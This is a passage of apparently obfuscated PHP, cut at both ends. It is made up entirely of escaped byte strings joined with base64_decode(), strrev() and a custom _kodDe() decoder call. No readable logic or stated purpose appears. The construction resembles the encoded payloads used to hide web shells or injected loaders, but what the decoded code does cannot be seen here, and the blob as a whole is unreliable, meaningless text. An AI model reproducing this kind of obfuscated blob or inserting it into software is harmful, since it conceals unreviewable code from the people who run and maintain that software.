xa9\x5e\xc6\x1c\xd0\xa5\x44\x7c\xee\x96\x13\x39\x52\x94\x66\x4b"."\131\242\122\11\212\317\21\151\21\132\136\111\42\22\213\121\40\260\120\226\354\247\351\12\366\341\35\204\117\246\323\201\174\236\341\57\355\46\76\23\106\211\162\22\46\177\61\266\370\112\261\53"."\132\171\160\100\30\342\321\252\360\207\175\164\365\343\203\307\10\73\344\227\303\305\240\262\122\261\164\105\61\161\370\356\214\225\6\17\244\323\302\134\312\35\37\267\10\135\365\162\41\71\145\334".base64_decode('Yo1kM8ssDUql8W3M+KK5+wDcSanHF1nGoXFiGkvHEXOuTxlZnalcuo28VYpk/X+WjYtHHg==')."\xaf\x90\xf1\xd0\x5\xe7\x49\xea\x67\x6c\x10\x3c\xa0\xcb\x7b\x6\xae\x6a\x15\x24\x8a\x73\xed\x22\x59\x4\xe4\x1\x29\xa2\xda\xe\x91\x2a\x4a\xea\x97\x96\x93\x3\x43\xd0\xf2\xa5\xe3\x81\x39\x56\x28\xe2\xb3\xc6".base64_decode('wVk3HLctITRxiDNauRDOwnMpVypEuC+B55ULcU6GQ7iLM8ZrK8vmtVz1p2c23LuVhu/43Q==')."\105\317\137\361\16\23\12\262\103\205\176\30\153\70\372\134\171\340\312\3\126\356\117\303\302\70\174\355\262\141\363\373\273\276\275\350\125\377\133\277\270\377\372\333\116\154\276\360\107\25\263\12"."\xda\xba\xf3\x1b\x2e\x7c\x6b\xc7\x65\xbb\x6f\xfa\xa8\x6b\xe7\xbc\xc5\xdb\xe6\x3c\x7c\xdf\xd6\x6b\xbe\x1d\x7a\xe9\x3f\xdf\xcd\x4c\xd8\xb3\xe9\x5b\x95\xef\x1e\x50\xf8\xed\x8d\x33\x4f\xbb\xfe\xe0\x57\x5e\xde\xff"."\xb8\x49\xa9\xd5\x67\x5e\xfd\xee\xd3\xf\x3c\xfd\xfe\xb\xf7\x3c\x7c\xf3\xe5\x87\xac\x1e\x18\x7b\xfe\xea\x2d\x83\xfb\x5e\xaf\x7e\x76\xc1\xe7\xbf\xbd\xf4\x87\xb\x3e\xff\xf9\x7e\x7f\x5e\x70\x72\xe7\x9c\x6f\x5c"."\37\271\157\125\112\73\340\363\165\332\121\273\336\133\333\241\335\244\166\214\176\353\315\341\327\176\66\232\70\352\340\3\347\315\134\262\170\237\71\357\347\167\257\377\350\202\115\25\367\174\375\300"."\xa6\xcf\x26\x15\x3a\xbf\xb3\x2c\xee\x3b\xfb\xec\xae\xb2\x4d\x97\x9e\x7f\xfc\xc0\xf7\xf\xaa\xd9\xfc\xc4\xd0\xba\x3\x77\xdc\xd2\xfe\xc1\xf1\x4b\x76\x5c\x7b\xe6\xcb\x77\x59\x4f\x9c\xf0\xea\xcc\x3f\xcf\x78\xef"."\310\107\347\255\376\260\342\312\312\325\317\55\257\374\344\303\75\203\177\373\307\322\111\133\316\372\306\151\337\136\360\233\221\175\355\123\166\235\73\162\307\63\273\346\155\370\375\300\355\67\224\207"."\316\71\52\364\351\357\316\273\324\363\351\155\33\72\27\336\362\322\21\377\374\375\224\247\367\314\276\150\307\231\253\177\250\165\177\337\133\165\304\336\57\266\276\177\335\106\317\257\246\154\73\267"."\156\341\225\77\355\275\342\254\343\356\217\364\315\212\276\133\167\162\313\254\347\146\76\71\355\360\366\255\121\143\142\325\271\153\256\256\75\174\303\211\257\117\130\164\351\331\237\76\60\353\360\25".strrev('xדY^{6CsEnRv]Kk_Z')."\363\213\11\341\347\262\147\37\264\376\300\327\316\336\344\271\372\263\237\372\174\127\357\267\146\176\325\331\107\336\171\164\131\350\375\247\276\371\313\323\217\271\272\60\161\246\167\361\372\217\336\361"."\x15\x2e\x6e\x9d\xf0\x8d\xcd\x97\xac\x19\x3e\x7e\xc5\x4d\xaf\x3f\x37\x21\xbf\xdf\x8b\xf7\xbc\xf6\xfa\xd1\xa7\x7c\xf0\xb5\x23\xe6\x9e\x7e\x6c\xe2\xb8\xa9\xe1\x43\xd7\x78\x8f\x3a\xc5\x3a\x62\xff\x73\x6a\x57\xee"."\267\370\220\77\207\66\335\65\171\326\247\77\123\312\26\337\365\116\356\17\263\232\37\174\151\355\245\365\143\157\35\327\170\253\175\205\162\371\174\377\171\203\165\203\23\132\227\75\371\213\375\353"."\206\46\104\72\326\234\363\371\157\76\175\366\351\363\376\122\366\240\66\357\376\233\217\251\272\355\202\313\203\207\275\335\71\351\244\1\153\366\340\15\325\323\133\243\377\232\364\340\105\337\175\371"."\xe6\xe5\x1f\xae\xb9\xe1\xe8\x59\xe9\xc1\xcb\x6e\x3d\x7e\xf3\xf7\xf\xfd\xd5\xda\xf7\xe\x9d\x50\x79\xd5\x31\x8b\x4e\x7d\xe5\x80\xe9\xdf\x1c\x7c\xe9\xa3\xbd\xef\x37\xef\x7a\x7f\xcd\x33\xef\x34\x1f\xde\x16\xfb".strrev('OYNGkKN}>n/9:)\\_]9')."\xf8\x87\xa7\x1d\x57\xb5\x77\xce\xb3\x6b\xad\x5f\x6c\x9e\xf7\x44\xdb\x1c\xef\x51\x99\xe4\xb\xe7\xfc\xad\xd9\x7e\xfe\xc0\xaf\x85\xe7\xe4\x37\xbe\x7c\xf6\x8f\x8f\xfe\xe5\x67\xbf\x3b\xfb\xe0\x9b\x7e\xf9\x93\xef"."\x5f\xfd\xd4\xcf\xb6\xe9\x47\xad\x59\x71\x71\xf4\xd5\x13\x52\x65\xef\x7a\x8f\xbe\xfe\xb2\xa7\x57\x7a\x8e\xe9\xe8\x5d\xef\x5f\x7c\xee\x9\x27\x3e\x74\xfe\xa2\x63\x1a\xaa\x9f\x69\xfb\x69\x85\xef\xf3\xaa\x53\xce"."\31\135\163\304\346\237\157\277\372\202\77\177\76\367\220\23\136\377\101\327\261\217\15\377\145\372\344\277\337\374\233\143\332\267\316\172\242\353\350\261\167\157\336\174\352\61\55\107\337\170\320\11"."\337\76\152\307\75\276\336\47\7\102\167\134\371\367\201\333\37\230\272\161\365\57\172\276\163\373\103\77\276\175\370\210\35\321\165\217\35\276\357\317\7\234\370\265\143\142\27\34\165\336\272\243"."\x36\xdf\xfa\xec\x71\x17\xfd\xf5\x77\xb3\x56\xfc\x7a\xc9\xdc\xab\x26\xd8\xcf\x56\xd4\x7c\x7b\x85\xaf\xed\x1b\xef\x36\x3f\xfa\xbb\xd4\x4f\x37\xfe\x7d\x64\xfd\x8b\x1b\xef\x78\x75\xe4\x81\x97\xde\x7d\xfe\x58\xcf"."\x41\x7f\xfa\xf9\xcc\x60\x38\xf9\xc1\xc9\xeb\x7e\x7a\xdc\x27\x93\x5b\x8f\x6d\xd9\xb2\xef\x46\x65\x6a\xb0\xee\xde\xbf\xfc\xe4\x77\xc7\xdd\xb6\xb6\xf5\x7f\x7e\xd0\xb2\x45\xf1\xd6\xf6\xfc\x66\x67\xd7\xb4\xbb\x9f".base64_decode('7H9tx0G/8q/5+In2LZOu/H3c997bt6958O0Vs/tWmE+NbDrx+bKn9v7ztxf2r7pje/aZPw==')."\225\37\170\246\166\323\355\73\217\275\142\231\347\324\25\35\17\374\366\311\11\115\367\367\374\341\316\157\334\163\340\223\377\63\370\374\275\7\126\276\174\376\175\107\77\375\357\301\273\177\161\171"."\132\373\343\277\376\162\313\263\177\357\135\173\155\342\273\315\263\174\177\32\172\346\63\245\165\213\347\270\131\372\53\263\343\167\50\53\117\230\70\251\343\241\375\17\375\371\156\157\377\320\212\253"."\247\145\206\356\361\245\377\347\315\331\353\316\135\162\137\137\357\350\5\327\75\273\347\213\273\326\235\31\377\240\367\47\376\211\277\131\335\360\372\3\257\276\267\343\357\331\35\113\76\130\362\160"."\xdd\xea\x13\x73\x9d\x5b\x26\xbe\xd7\x7c\xd7\xae\xba\x46\xff\x5f\xaf\xb8\xea\xf9\xde\x89\x87\x56\x2e\xf8\x7d\xb0\xeb\x86\x29\xf7\x7e\x73\xd6\x7e\x35\xfb\x4d\xbc\xed\xe8\x7f\x7c\xe7\xee\xbf\xbc\xf6\xdc\xf6\xef"."\x1d\xf2\xf5\xba\xcb\x2f\xdf\xf5\xc0\x3f\x9a\x5b\xab\x23\xe7\xdd\x94\xea\x5f\x75\xc2\x85\xf7\x3e\xf8\xad\xf5\x67\x2d\xdd\xba\xeb\xa5\xdd\x9d\xef\x45\x87\x7e\xdd\xf9\xfa\x6f\x66\x3c\xb1\xfe\x8a\x7d\x97\xbc\xd9".base64_decode('3vXaATuvvviGDfrqGZ+8f+O+hwrvzbrujYeNzZ/v+PuG0Vsub1/8wFtb9w+tveaGkaOqHw==')."\xfa\xec\xf9\xfb\xd6\x2f\xfc\xcf\xc7\xef\xbe\xf4\xc6\xf6\xd3\x17\x3e\xba\xef\xbd\x17\xcd\x6b\x1f\xdf\x39\xf2\xaf\x7f\xbe\x76\xc7\x1f\xd4\x6b\x1f\xdf\xf7\x87\xcf\xbf\xee\xf7\x2d\xf8\xd7\xab\xa3\xbf\x5a\x7a\xe5".strrev('|vߟxy6szu{T y,_x:^Y')."\xe6\x81\xb3\x35\x63\xc2\x87\x27\xee\x3d\x6d\xfa\xa7\xdf\xac\x6a\x3c\xf1\x6f\x57\xdc\x58\x3f\xe5\x9e\x7f\x8d\x65\x7b\x32\x7f\x3c\x7a\xc2\x17\x47\xdc\x7a\x9c\x35\xf9\xe7\xf3\xaf\x7a\xf1\x67\xdf\xea\xa8\x8\xed"."\376\316\234\371\227\215\326\337\62\177\355\215\147\334\72\363\314\313\206\173\214\321\217\236\375\100\177\264\242\346\254\251\217\77\366\351\220\241\17\237\265\375\326\266\165\127\14\377\310\347\177\350"."\257\237\375\263\365\274\311\213\102\3\217\35\367\124\40\122\335\170\346\334\350\345\23\156\136\370\243\43\117\116\36\267\377\307\341\306\324\45\317\74\75\345\27\257\354\111\137\267\245\372\350\35"."\x4d\x87\xac\x3b\xf9\xe5\x2d\x77\x5f\xd3\x7f\xea\x5b\x8f\x9c\x3a\xef\x47\xfa\x4b\xef\x3d\x9f\x7d\x2a\x7e\xf8\xfc\xa3\x26\x5c\xf5\xfb\xc3\x9f\x3a\x73\xcf\xae\x39\xbf\x79\xe7\xbe\x9b\x6f\x7a\xe1\xc2\xe8\xc5\xad".base64_decode('c/74l1fPfO3CTe3P33PdXx/c+b015evf/M4XLyf+sLlt60e/PXTLtrGfNv7muu/uPvP2fw==')."\336\375\373\67\246\166\277\371\267\367\227\35\136\63\372\302\214\307\137\173\145\336\324\73\347\375\353\243\45\333\177\73\145\260\167\156\264\376\374\271\43\53\317\232\371\366\105\345\57\366\17\376"."\xf8\x95\x17\x1f\xed\xbd\x6b\xf5\x8a\xee\x47\xb6\x58\xff\x18\x98\x3d\xf0\xd0\x77\x3e\x18\xf8\xac\xb6\x7d\xf6\xd2\x2b\xae\x5c\x77\xf9\x55\x15\x9f\x5e\x76\xd8\x4d\xf7\xce\x58\x70\x59\xf3\x61\xf3\x4e\xdc\x76\xc1"."\xfb\x5b\x7e\x55\x7e\x67\xe7\x8d\x77\x9a\xcf\xad\x39\xf2\xa9\x48\xf6\xee\xe3\x9f\x38\xfe\xe0\x27\x46\x56\xed\x39\x68\xeb\x1\x6f\x28\xf7\x2f\xd2\x47\x7\x36\xe4\xb4\xcf\x4f\x38\xd5\xff\xcb\xfe\xbf\x7e\xbc\xe9".base64_decode('4kkrL1jj3zZxyee3zPzagoNv7jjm4mvufuDQufs1/OLaX5626vcXH73ysIaf/f3c5K7Xfw==')."\21\37\15\357\372\341\373\167\277\66\101\371\336\361\13\147\156\172\353\343\71\276\276\247\17\72\275\362\233\103\23\122\221\314\3\337\172\372\273\263\227\77\360\275\137\127\14\174\375\244\324\63"."\x33\xce\x3b\x72\xc3\xa3\xd1\x23\xee\x49\x35\xfc\xfa\xd6\xf\x1f\x9d\xb8\xf1\xe3\x7d\x57\xe8\x95\xcf\xe4\x66\x64\x1f\x7c\x7a\x60\xcf\x13\xb3\x3f\x57\x37\xcc\xf0\xbe\xf6\xe3\x86\xdf\xde\xda\xd6\x3e\xed\xa8\xe9".base64_decode('5z10bLBu1Zs/2fWft6Z/v0V/76Af/6DrohtffO68259bc8j/xL+7/7HXbzG/WP5pTeFSNA==').base64_decode('Jb3n9X534h/X/GTiH15NHpqceFS+P37F/ofn/qwuv/OTaU3JF8K7l7XvaO++4fFTq2d19g==')._kodDe('MWp72+dMkuSMas3dzCUb4k/ymZwiTenA68ywuUQkUOdrFtZBDOJMaJq8O+GposGj+KwbduA=').base64_decode('DfMO/uSxhxPNvz7o5Ym79/xh8B9Td7z1+4+ffXvXjbc9f87r/7jk43Myz9tH1d17cpO9eQ==').base64_decode('8vc+2/fqjw772Lz6rFn5yve3Pzu81Lf+wSsO27zxT5Nr3ty4d2HN8OXpg7TOlb+sH2p+7Q==')."\201\312\307\16\336\121\177\355\216\133\32\56\171\344\255\37\316\350\233\162\156\350\133\215\265\205\51\337\174\366\47\371\317\367\135\167\354\257\37\173\344\263\177\365\54\125\367\375\163\337\223\333"."\x5f\xf8\xcf\x3f\x1e\xfe\x64\xd3\x82\xc7\xf6\xed\xfd\xe3\x2f\xaf\xfb\xf7\xbf\x9e\x5f\x1f\x79\xe1\xba\x55\xdf\xfc\xce\x47\x77\xfc\xf8\xd7\xfe\xff\x7c\x52\xf8\xec\x8b\xbf\xab\x3e\xf5\xd1\x47\xf6\xed\x3e\xf7\x93".strrev('go}zX^+u;ygus^o}7').base64_decode('M54Ye3X0lB3339f+xqvm8TPaP2hZ+t4JPzjhjbM+PPpvR0447dwbVk2r27j+0eqPjFzNlg==').strrev('OSUi3[Syu<˛Ⱥib}okM5׫w^')."\23\350\236\166\140\335\354\155\57\237\164\304\256\67\16\150\37\370\340\332\217\277\305\356\266\365\45\107\254\124\77\354\104\100\71\226\352\357\36\111\30\275\64\62\153\46\330\103\125\63\353\241".base64_decode('aVVzaWCgLzuc1gEOoLryPSNDSUgzh3q7UgnQjBWGerS+fjC7nc6qgmLJnN1bYDJw9YxqFg==').base64_decode('gE9Or4KD3zmzITCtGtTNs+ewLEgYTmRTGROqgrQ5cyEwoxqq7ir0DiSGQRk2h9nDTZ8BQw==')."\x30\x60\x77\xf5\xf5\x33\x6d\xa6\x9e\x1d\x18\xd4\x92\xb0\xaf\xd5\xf3\x59\x73\x78\x10\x74\x23\xf6\x48\xd7\xf0\x90\x1\xa3\x37\x63\x36\xb4\xd6\xee\x1d\xc9\x5b\x39\x50\xa1\xcd\xac\x2\xdb\xd0\x44\x2e\xdb\x9f\x66"."\xfb\x9b\x59\xd3\xa1\xd5\x73\x67\xc1\x8\xcc\xaa\x82\x31\x19\x46\x43\xc6\x25\xda\xb9\xd3\xa1\xb4\x3d\x94\x4f\x9b\xac\xf4\x48\x6f\xc1\x1e\x1a\x4\x75\x65\x6a\xc8\xb0\x47\xd2\xd0\xa0\xbe\x82\x95\xcc\x33\x4b\x1f".strrev('aw|й.e'."\r".'?LR&K6lÃ$.}8=^#e(')."\x88\x2\xa0\x9\xbb\xd7\xcc\x19\xd0\xd2\x39\xd3\x19\xd2\xb0\xc1\x49\x67\x13\x56\x7e\x84\xe9\x27\x7a\x87\xb5\x11\x3\x14\x68\xa6\x91\xec\xeb\x19\x1\x39\xbf\x9a\xcd\x6f\xf5\x34\x98\x1b\xad\x60\x8e\xe8\xac\xd3"."\x33\x67\xc2\xb8\x54\xcf\x85\xc0\x5c\xd6\xbf\xfe\x9e\x8c\xa1\xd\x42\x53\x87\x33\x46\xc1\xee\x86\xae\xcd\x9e\x59\xcd\x4a\x3\x12\x24\x87\x7a\xf3\x4c\x35\x36\x7b\x76\x35\xdb\xdc\xf6\xf7\xd\x33\x65\xb0\x9e\x1d".base64_decode('TCW6+lgnGEi/2ceVgTNnwVzOrIYh6M+lMokeQMGZbLSMHEIXK83QAhZRr9Y/bFtgUTGLzQ==').base64_decode('jdWt9ekZNgtz4bOzp0FnZ7BPTp/Ohok1bdbs6QzVZ7Lpmg0D3N+Fhh7wYXY11JXtsYxMXw==')."\57\33\105\110\35\351\33\114\330\114\137\220\310\131\43\31\266\225\37\354\117\33\275\72\214\110\365\34\266\236\6\273\263\5\166\36\77\227\15\164\117\56\323\73\314\116\311\263\175\126\332\30"."\x62\x67\xf7\x99\x1e\x7d\x68\x90\xd9\x5b\xf\xf6\xa6\x33\x5d\xec\xe2\xda\xc\xd6\x37\x86\x32\xd3\xd9\x62\xe9\x1a\xea\xc9\xc\xa4\xa\xc\xa1\xa1\xeb\xdd\xfd\xd9\x94\xc9\x90\x48\x1f\xd1\x32\x39\x76\x4b\x70\xa4".strrev('،Ha흏b3i=c>_T#L}=A'."\n".'˘fa?0g').strrev('З0hc*C5H= [ 䌶TfF73y|)~6.C')."\253\31\15\255\362\1\146\144\335\223\36\34\142\246\64\371\276\144\316\32\4\33\217\72\55\321\307\164\313\334\36\130\66\244\245\46\141\124\211\47\37\306\260\313\225\106\326\227\321\262\334\34"."\xa7\xc9\x60\x9f\x17\x69\x7d\xba\xce\x4c\xf2\xa1\xf3\xb6\x30\xf1\x0\x1b\x5e\x48\x37\x32\xba\xd0\x97\xd3\x53\x9\x56\x52\x28\x0\xb0\xf6\x45\x32\x12\xc1\xd1\x98\x5c\x4b\x22\x6b\x4b\xd9\x28\xe6\xc8\x8d\xc9\xb7"."\x6\xa0\x77\xb8\x85\x3e\xb9\xd7\xcb\x33\x8c\xe0\x97\x38\xdd\x4\x1d\xb1\x65\xd\x9a\x79\x18\xb1\x3e\x33\x99\x48\x9b\x85\xa4\xa3\xd6\x64\x97\xaf\xc4\x48\xd2\x9e\x94\xca\xe9\x76\xa7\x73\x53\x22\x51\xa1\xc3\x3a"."\x9e\xa5\x39\x46\xad\x8b\xcc\x28\xb7\x5b\xc2\x7f\x18\xb1\x27\xd7\x84\x2d\x6c\xe7\xcd\x6f\xb5\x51\x68\x1f\x9b\x98\x2e\x9\x1d\xa8\xba\xdf\xd6\xac\x3e\x9f\x9c\xec\x95\x73\x8d\x2c\x6a\x6f\x3a\xed\x73\x5e\x1c\xc7"."\67\270\333\132\325\170\40\266\130\262\7\304\67\214\31\356\250\342\352\203\324\17\61\151\322\10\312\163\347\354\63\303\215\275\333\37\36\335\164\305\330\345\167\217\155\330\66\372\320\245\173\267".base64_decode('3T366OUounvnxtFt176zZe3unRt27zx77/k//esjF41u2r733EdHt942evP5ux9+dO/j5w==')."\357\271\155\375\356\235\167\215\155\275\160\164\355\375\273\37\276\142\364\202\353\107\317\337\64\166\351\206\335\217\156\105\360\143\27\210\232\21\330\350\135\233\161\331\107\126\217\356\334\271\367\206"."\333\170\356\137\37\71\7\26\55\350\53\27\351\266\22\73\65\314\214\274\10\102\52\13\24\100\105\335\362\51\255\151\35\215\230\222\300\327\251\260\105\230\235\322\363\212\115\54\303\64\364\67"."\153\146\275\24\325\350\245\167\113\61\262\70\133\141\143\355\343\350\30\327\63\71\214\124\60\112\176\172\373\325\161\307\102\302\274\122\303\114\63\112\340\21\36\153\61\127\25\70\10\207\174\130"."\225\250\164\153\50\41\131\243\164\243\142\12\273\343\245\330\46\13\147\206\371\244\273\320\277\344\264\362\146\260\251\355\341\32\175\241\150\206\206\111\227\147\350\51\116\21\112\221\365\344\44\6"."\x8e\x95\xe6\x24\x23\x72\x96\x73\x24\x40\x13\x4c\xc\x12\x3c\xa\x6d\x8a\x47\x21\xc7\xd0\x8a\xf3\xaa\x37\x36\x30\x60\x87\xf6\xf2\x9a\x91\x9b\x9f\xd7\x73\x69\x7e\x1e\x85\x95\xa9\x25\x7\xd1\xd5\x85\x58\x89\xe1"."\xe2\x9d\x70\x64\xa2\xf5\x58\xb0\x4b\x0\xca\xa3\x2a\x6b\x98\xd\xb3\x3e\x8d\x48\x99\x38\x1f\x25\xa6\x0\xa2\xb9\x34\x2a\x34\xdb\xe8\x43\x9c\x12\xe6\xf5\xa4\xc1\x4c\x95\xf5\xc\x81\x4\xa\xe8\x93\xce\x95\xe8".strrev('JƬ$H8cSX@6g0B{ ߰K_͙wh@/n(}').base64_decode('6mJhr4ZDUJ04jUZpQbyCx0tv4EYaaGn39OiWXUOuySpTFdTQOb5qFCCLYKZvNgqSEYOF2w==').base64_decode('AaNYsNilpcm+GcDgrXlgYTKP0I9aqfmQLkoVsmmWioIIJFrI4tmucfYZ7RikQvO0hC3Vqg==').strrev('ᓋ*KJ5"^'."\0".'vmi~˄EShxv')."\xfa\x92\xa2\xb6\x3c\xe5\xb9\x84\x99\xcd\x72\x33\x57\x2b\xad\xb1\xe3\x4c\xb\x5f\xbf\xc9\xea\x1c\xff\xa\x16\x3f\x71\xa9\xb\xc4\x42\xf5\x6a\x6b\x80\xdd\xdc\xd0\x72\x39\xbf\x95\xec\xb3\xfc\xd8\xbc\xd2\x18\xd0".strrev('59s˭ULÄ6Xn&`Hvf_ F')."\151\100\343\302\241\72\265\41\24\225\352\310\25\212\352\220\74\314\4\132\103\152\54\26\221\272\103\56\114\57\123\27\107\32\324\372\110\144\161\10\226\1\114\174\215\104\235\361\75\115\161\216"."\x8e\x63\xe2\xbe\x26\x3e\x7b\x92\xd\xe7\x64\xc1\x7\xbb\x0\xc1\x2c\x3e\xa6\x80\x81\x29\x5a\x6f\xf5\x4d\x81\x28\x37\xeb\x9f\xe9\xab\xf2\x55\xb\x58\xf4\x41\x15\x5f\x6b\xa8\x65\x3e\x5\x62\xf1\x40\xb4\x84\x23"."\x18\xea\x20\x6\x90\x2\x9c\xc2\x40\x81\xa6\xc8\x52\xa5\x3e\x12\x6e\x6b\x6e\x89\x51\xff\x27\x34\xbd\x25\x22\xe5\x13\xe3\x6d\xc8\x66\x6e\x62\x8a\xb3\xa1\xfa\x60\x6b\x38\x50\x1f\x54\x42\x2d\xf1\x8\xbb\x96\xc1".base64_decode('7WfJhZwYj7MhyFs6dwMD5WlEvjQk18hrgmXU7invKOuY0lHRUbnC12F1+iV+acjTA5HWBg==').base64_decode('6F4NDyUtQLfmGBI0aDASDdSHWVMQckMwUh+igT2X3bP7oY17rt42euEGVNHYVavHrrwfiQ==')."\x47\x58\x24\xda\x76\xd1\x9e\xc7\x36\x8e\x5d\xb6\x7d\xec\x22\x10\x65\x94\xbd\xdb\x1f\xd8\xfd\xe8\xe3\x7b\x2e\xbb\x6d\x74\xdb\xe6\xb1\x2b\x1e\xdc\x73\xd5\x1a\x9a\xf1\xce\xed\xf7\x8c\xae\xbb\x8d\x37\x4c\x79\xe7".base64_decode('0sfGNt7CxSQqHXlQ6XfWbtjz6DYsJN109tiO9WNbN4yuu2F0y217Nm4fvfHc0fM27N1++Q==')."\x89\x6e\x44\xa2\xf1\x76\x36\x15\x70\x55\xdc\x7f\x3a\xbe\xe6\x4f\x87\xb7\xc3\x9a\x8a\x87\xb6\x12\xfd\x56\xe0\xcb\x1e\xe8\x97\xd9\xac\x13\x3b\xe6\x53\xdb\x82\x2d\xf5\x41\xf7\xad\x29\x39\xa\x3e\x74\xa6\x50\xc"."\241\66\75\40\27\133\340\203\207\305\211\277\215\332\362\161\133\261\22\346\137\152\224\324\230\206\140\254\76\32\252\13\302\165\2\76\121\223\211\114\7\26\35\50\65\26\135\302\303\374\232\155"."\221\317\43\245\202\41\163\245\342\350\210\346\113\230\351\102\46\113\32\253\224\141\3\263\62\17\46\132\344\12\227\122\206\371\71\112\320\261\163\200\12\354\15\205\230\43\227\57\57\367\124\171"."\xaa\x2b\x15\x70\x88\x44\x4b\x80\x1b\x24\xa5\xc\xac\xda\x79\x39\xc7\x47\x3c\x5d\x8e\x58\xb5\xa7\xaa\x52\x29\xcb\xf5\x95\x41\xbb\xc4\xb8\xa2\xd6\xab\x14\xd2\x52\x34\x4f\x5\x34\x58\x6e\xae\x80\x45\xd4\xcc\xb2".strrev('%KR«w6|&XHN'."\r".'-SN\'|%\\:^$ȁ').base64_decode('Mkkxx2DUOgajYirQidZFfL7pDQyF3syjzdIsNlGQSqYKp9LZYrAm6gaaHAqPAjwH31XgNQ==')."\x21\x72\xc4\x33\xd8\xc\xe2\x74\x3e\x89\x25\xf2\x88\xab\xaa\x32\x2a\x77\xd2\x7e\x66\xac\x1e\x46\xea\xc0\x5\x40\xf3\x72\xde\x7\x86\xcb\xa\x13\x86\xb8\xa3\x2b\x7c\xc7\x30\x18\xaf\x6f\xa2\x58\x1e\x93\xd0\x3c"."\331\65\331\201\250\142\70\25\7\212\360\315\13\300\321\345\202\11\302\241\4\56\324\322\30\211\66\323\273\165\261\372\246\140\163\300\7\104\234\142\2\205\307\222\236\122\253\224\143\312\107\223"."\312\35\303\117\76\304\206\54\116\276\212\326\225\152\43\261\215\216\102\256\7\32\3\263\257\20\137\6\32\51\122\133\116\335\315\100\225\334\43\133\44\32\127\321\0\0\171\226\250\156\271\304".strrev('J'."\n".'D!5؆4U'."\r".'.92f:lS|u$-').base64_decode('vIkiwn4ERXJMrYbCwkEDzuA8H0UEy0cRzmwwlORhDn8/1sLDQtRGkbYYu0WCqe/SBh5u4g==').base64_decode('d+lxRiQqRQLRQHOMR6NL+a0UnkZvp6gtbc2C4ocDSxCyRISAwqh1hW/KwsoOeuGPBunPyQ==')."\54\206\57\101\165\236\121\355\121\146\255\252\4\30\356\225\303\116\31\131\46\353\342\257\234\32\126\303\221\105\64\116\74\337\5\263\111\261\63\122\332\25\44\170\307\205\340\155\61\326\305\127"."\x83\x82\x70\x58\xa1\xd7\x87\x95\x96\xc8\xd2\x80\x70\xa6\x26\x65\x40\x8a\xf0\xad\xe6\x3f\xbd\xbd\x63\xb0\xc3\x87\x84\x5\x6b\x85\xb8\xc0\xd7\x50\xa7\x30\x31\x84\x38\x64\x1\x45\x3\x94\xe\x30\x36\xba\xc2\x3"."\x1c\x43\x4d\x9b\x3d\xcc\x55\x12\x22\x88\x4c\x5c\xa0\xbf\xcb\x58\x80\xd0\x4a\x28\x90\x20\x57\xab\x87\x78\x23\x2\xde\xd3\xd4\x8e\x95\x1d\x27\x75\x78\x7d\xf4\xd6\x24\x16\x5e\x3a\x3c\xa2\x49\x6a\x70\x19\xe2\xb1".strrev(''."\0".'t 0WAl2|'."\n".'xFAJ㘱')."\55\311\160\150\161\160\45\376\107\144\124\362\201\244\227\243\234\5\102\55\53\321\277\210\300\254\14\265\270\53\253\13\306\227\6\203\24\200\205\341\127\200\42\202\3\135\225\74\43\342\233\12"."\x90\x2d\x6e\x2e\x40\xd5\xaa\x5a\x41\x6\xd3\xdb\x39\xb5\x52\x55\xfd\x56\x1b\xe0\xb\x77\x3b\x52\x51\x3e\xa9\xba\x1c\x78\x48\x20\x56\x2f\xa8\xaf\x3\x21\x8a\x71\x81\xdc\x2b\x70\x22\x2\xf7\xf7\x7\xf1\x45\xd1"."\110\133\253\24\157\12\54\11\265\54\142\61\377\24\26\232\2\125\53\15\241\30\32\242\172\206\214\302\15\241\34\7\201\223\210\105\262\324\353\100\351\6\104\331\121\104\22\331\361\146\200\122".strrev('!CEF,'."\0".':`1Yx"8Ƴ&S'."\n".' k*f')."\145\21\274\73\11\266\260\74\264\107\105\373\113\266\361\114\151\3\374\232\346\274\144\227\344\223\4\323\140\37\325\315\141\317\64\150\27\247\161\75\254\113\235\112\64\141\222\342\201\332\32\52"."\xd2\x35\x71\xac\x97\x95\xb4\x57\x7e\xa\x81\x84\x4f\x2\x83\x7e\x3b\x56\x2c\x24\xc2\xf1\xa\x86\xa7\xf4\x86\xb2\x1d\x37\xec\xb4\xe3\xa3\x70\x93\x11\x7d\x34\x44\xae\x8f\x4a\x9f\x65\x57\x3d\x88\x1a\x52\x35\x25"."\45\70\341\333\162\202\120\174\121\215\71\350\214\205\136\11\233\134\22\155\62\215\72\167\124\234\114\255\340\33\45\160\361\340\201\137\150\321\221\364\247\3\242\114\207\322\1\37\51\367\0\323"."\xed\x60\x2\x7b\x7b\xc7\x50\x55\x95\x17\xfd\x33\x7\xfd\xad\x43\x7f\xeb\xd1\xdf\x20\x4e\x68\xec\x18\x9a\xdd\x88\x2\x73\x1b\x3b\xfd\x70\x62\xc4\x6e\x8a\x38\xf7\xd8\x1d\x1d\x65\xe3\xd\x32\x0\xb0\xa1\x86\x68"."\x19\x8d\xb2\x52\x6\xe7\x9c\x89\x14\x76\x95\xa3\xda\x19\xa6\x9f\x27\x5b\x3c\xa1\x18\xa7\x2a\x7a\x11\x6f\x88\x46\x5a\xa9\x1c\xa3\x84\x1a\x15\xea\x37\x42\x29\xa7\x4a\xfd\x72\x10\xd0\xea\xa3\x41\xbc\xc6\x28\x14"."\xcb\xab\x28\x77\x28\xd5\x16\x94\x2b\x70\x97\xbc\xd2\x59\x2a\xd4\xd2\x10\x5c\xa6\x94\x1b\xc9\x21\x55\xd3\x54\x28\xac\xa0\x15\xcd\x2a\x52\x8a\x6a\x62\x35\xd0\xb6\xb2\xd3\xdf\x94\x39\xa8\xc8\x48\xca\x76\xdd\xf5"."\64\55\56\20\267\110\300\43\36\40\330\275\135\17\154\355\171\16\225\253\151\126\50\206\330\176\70\114\172\212\262\14\13\213\303\36\205\73\152\300\211\170\13\103\25\264\120\21\313\240\25\321".base64_decode('rOCyeDSAE4kMe9ih6A8hS3iPlc9o9DIrkfx8K0DVsMIhaFIRFIuagHeEcUp94jlE30CHWQ==').base64_decode('1kYsBtmdxlqjoeZAdDkMmdhJwMI1044rzSJiWG3SpfoW1Gr5kj2dY06n0a6Y0WnUGhosww==')."\63\117\203\340\343\126\345\167\246\231\52\246\202\335\75\366\260\0\163\132\101\356\163\61\175\133\6\21\56\36\23\263\6\270\17\263\42\347\312\67\322\204\23\136\314\152\361\44\63\236\321\30"."\x68\xb\xcb\x29\x30\x54\xca\xe2\xe0\xf2\x2f\x59\x23\xac\xa5\xa5\xd6\x8\xcb\x63\x4a\x1d\xbe\xda\xa0\x3f\x15\x33\xa1\x7f\xd4\x9d\x46\xc5\x34\xb4\xb3\x